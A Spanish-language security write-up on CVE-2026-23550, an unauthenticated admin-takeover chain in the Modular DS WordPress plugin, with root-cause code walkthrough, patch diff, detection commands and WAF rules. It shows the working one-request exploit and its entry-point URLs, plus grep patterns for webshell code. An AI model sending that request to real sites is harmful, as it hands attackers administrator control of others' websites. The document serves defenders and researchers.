██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

📌 Resumen Rápido

Modular DS (modular-connector) es un plugin de WordPress para la gestión de sitios con más de 40.000 instalaciones activas. Las versiones ≤ 2.5.1 contienen una cadena de cinco defectos que se combinan para permitir que cualquier atacante no autenticado omita la autenticación, invoque el endpoint interno de inicio de sesión del plugin y reciba una cookie de sesión wordpress_logged_in_* para la primera cuenta de administrador — con una única petición HTTP GET.

GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Resultado: control total de administrador. El atacante puede instalar plugins maliciosos, colocar webshells, crear cuentas de administrador de respaldo, extraer la base de datos.

📖 Tabla de Contenidos

• Versiones Afectadas
• Superficie de Ataque
• Análisis de Causa Raíz
• Recorrido del Código Fuente
• Diferencia del Parche (2.5.1 → 2.5.2)
• Prueba de Concepto
• Detección y Mitigación
• Cronología
• Referencias
• Descargo de Responsabilidad

🎯 Versiones Afectadas

🎯 Superficie de Ataque

La vulnerabilidad activa un enrutador personalizado derivado de Laravel integrado en el plugin. El plugin incluye su propio kernel HTTP (Ares/Framework) que se engancha a la acción parse_request de WordPress para secuestrar las peticiones antes de que el propio enrutamiento de WordPress tome el control.

Requisitos previos: ninguno (plugin instalado y activo, conectado a Modular SaaS — predeterminado para todas las instalaciones activas).

Puntos de entrada (cualquier uno es suficiente):

/api/modular-connector/login/<cualquiera>?origin=mo&type=<cualquiera>
/?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/index.php?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/wp-load.php?origin=mo&type=<cualquiera>

🚩 Análisis de Causa Raíz

La vulnerabilidad no es un único fallo, sino una cadena de cinco defectos que se combinan. Cada capa, vista de forma aislada, puede parecer defendible; combinadas, colapsan en una toma de control de administrador pre-autenticación.

flowchart TB
    A["🌐 Petición del Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>La puerta se abre solo con parámetros de consulta"]
    B --> C["② Router::findRoute()<br/>La URL se resuelve implícitamente a ruta /login"]
    C --> D["③ Filtro bindOldRoutes()<br/>Falla en type desconocido"]
    D --> E["④ ModularGuard::check()<br/>Valida OAuth del servidor, NO de la petición"]
    E --> F["⑤ AuthController::getLogin()<br/>Recae en el primer usuario administrador"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Administrador"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Resumen de Defectos

🔬 Recorrido del Código Fuente

public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ solo parámetro de consulta, sin firma
    }
    return false;
}

protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL resuelta a ruta ANTES de que se ejecute el filtro
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* reenlace mediante llamada OAuth firmada */ }
    if ($type === 'oauth')   { /* reenlace al manejador /oauth */ }
    if ($type === 'lb')      { /* reenlace a /schedule/run */ }

    return $route;   // ⚠️ Tipo desconocido → la ruta de la URL permanece igual
}

public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ verifica el estado del SERVIDOR
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — el enlace nunca se pobló

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 primer administrador del sitio
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 emite cookie de sesión de WP
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

🩹 Diferencia del Parche (2.5.1 → 2.5.2)

━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 siempre empezar desde una ruta 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 Filosofía del Parche

La corrección elimina la resolución implícita URL→ruta por completo. El filtro ahora comienza con una ruta default fijada a abort(404) y solo se reenlaza a un controlador real cuando type es uno de los tres valores explícitamente permitidos. Con la nueva lógica, type=x produce un 404 — la petición nunca llega al controlador de inicio de sesión, y no hay nada contra lo que la guardia rota pueda fallar abiertamente.

Esto es defensa en profundidad aplicada retroactivamente: aunque ModularGuard::check() sigue siendo estructuralmente débil, la cadena de accesibilidad hacia ella ahora está cerrada para las rutas protegidas por autenticación.

🛠️ Prueba de Concepto

🛡️ Detección y Mitigación

Inmediato

• Actualizar a modular-connector >= 2.5.2 — no negociable.
• Si la actualización está bloqueada, desactivar el plugin por completo. No hay solución de configuración alternativa.

Evaluación de Compromiso

Después de la actualización, asumir compromiso si el plugin era ≤ 2.5.1 y estaba expuesto a Internet desde el 2026-01-13. Verificar lo siguiente:

# 1. Cuentas de administrador no autorizadas
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. Instalaciones de plugins sospechosas posteriores al 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. Archivos del núcleo modificados recientemente
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Webshells (cargas útiles comunes colocadas después de la explotación)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Firmas del servidor web (registros Apache / Nginx)

GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

Regla WAF / ModSecurity (mitigación temporal)

SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 intento de explotación (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 intento de omisión de petición directa'"
  SecRule ARGS:type "@rx .+"

📅 Cronología

📚 Referencias

• Patchstack Advisory
• The Hacker News — Critical WordPress Modular DS
• BleepingComputer — Active Exploitation Report
• Security Affairs — Admin Takeover Analysis
• eSecurity Planet — 40K Installs at Risk
• Rescana — Incident Response Notes
• WordPress Plugin Repository — modular-connector

👤 Autor

⚖️ Descargo de Responsabilidad

Este repositorio se publica estrictamente con fines educativos y de investigación defensiva.

La vulnerabilidad está divulgada públicamente (CVE-2026-23550), parcheada por el proveedor (modular-connector 2.5.2), y detallada en la prensa de seguridad convencional. Este artículo existe para ayudar a los defensores a comprender la causa raíz, a los desarrolladores a aprender de un fallo de diseño de autenticación del mundo real, y a los investigadores a estudiar un patrón de defectos encadenados.

No ejecute los scripts de PoC incluidos contra sistemas que no posea o para los que no tenga autorización explícita por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal en prácticamente todas las jurisdicciones (CFAA · Computer Misuse Act · ITE Law · etc.).

El autor no acepta ninguna responsabilidad por el mal uso. Si no está seguro de si su caso de uso está autorizado, no lo está.